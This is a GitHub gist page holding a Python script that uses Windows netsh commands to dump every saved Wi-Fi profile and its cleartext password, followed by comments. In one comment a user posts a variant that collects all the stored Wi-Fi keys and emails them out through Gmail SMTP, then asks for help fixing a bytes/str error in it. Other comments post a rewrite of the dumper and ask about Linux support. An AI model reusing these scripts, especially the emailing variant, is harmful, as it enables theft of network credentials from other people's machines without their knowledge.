-
-
Save brentvollebregt/30d278eae98e2ff221add008259d42bb to your computer and use it in GitHub Desktop.
| import subprocess | |
| a = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8', errors="ignore").split('\n') | |
| a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i] | |
| for i in a: | |
| try: | |
| results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8', errors="ignore").split('\n') | |
| results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b] | |
| try: | |
| print ("{:<30}| {:<}".format(i, results[0])) | |
| except IndexError: | |
| print ("{:<30}| {:<}".format(i, "")) | |
| except subprocess.CalledProcessError: | |
| print ("{:<30}| {:<}".format(i, "ENCODING ERROR")) | |
| a = input("") |
Check this out, this one is working fine
: https://gist.github.com/reveng007/b31da0e4df6942f4bc97ae8ac448e9f4
this is my code
need you help
import subprocess, smtplib, re
def send_mail(email,password,message):
server = smtplib.SMTP("smtp.gmail.com" , 587)
server.starttls()
server.login(email,password)
server.sendmail(email,email,message)
server.quit()
command = "netsh wlan show profile HONOR key=clear"
networks = subprocess.check_output(command, shell= True)
networks_name_list = re.findall("(?:Profile\s*:\s)(.*)", networks)
result = ""
for networks_name in networks_name_list:
command = "netsh wlan show profile" + networks_name + "key=clear"
current_result = subprocess.check_output(command, shell=True)
result = result + current_result
send_mail(" my email", "my password", result)
this is error
Traceback (most recent call last):
File "C:\pythonProject(pogoda)\parol.py", line 16, in
networks_name_list = re.findall("(?:Profile\s*:\s)(.*)", networks)
File "C:\Python\lib\re.py", line 241, in findall
return _compile(pattern, flags).findall(string)
TypeError: cannot use a string pattern on a bytes-like object
Are you sure that it'll work?
what about Linux?
Ubuntu doesn't work with this
No only focuses on windows.
Btw, i Don't have any plan to update this...
If u want to commit or something u can do that.
No only focuses on windows. Btw, i Don't have any plan to update this... If u want to commit or something u can do that.
hm, tnx
import subprocess
import re
def get_wifi_passwords():
# الحصول على قائمة الشبكات المخزنة
wifi_list = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8', errors='backslashreplace')
# العثور على الشبكات المخزنة
wifi_names = re.findall("All User Profile : (.*)\r", wifi_list)
# استخراج كلمات المرور لكل شبكة
wifi_passwords = {}
for wifi_name in wifi_names:
wifi_info = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', wifi_name, 'key=clear']).decode('utf-8', errors='backslashreplace')
password = re.search("Key Content : (.*)\r", wifi_info)
if password:
wifi_passwords[wifi_name] = password.group(1)
else:
wifi_passwords[wifi_name] = None
return wifi_passwords
طباعة كلمات المرور للشبكات المخزنة
wifi_passwords = get_wifi_passwords()
for wifi, password in wifi_passwords.items():
print(f"شبكة: {wifi} - كلمة المرور: {password if password else 'لا توجد كلمة مرور محفوظة'}")
@SmokeyLowkey it should be standard across all of the lastest Windows distributions.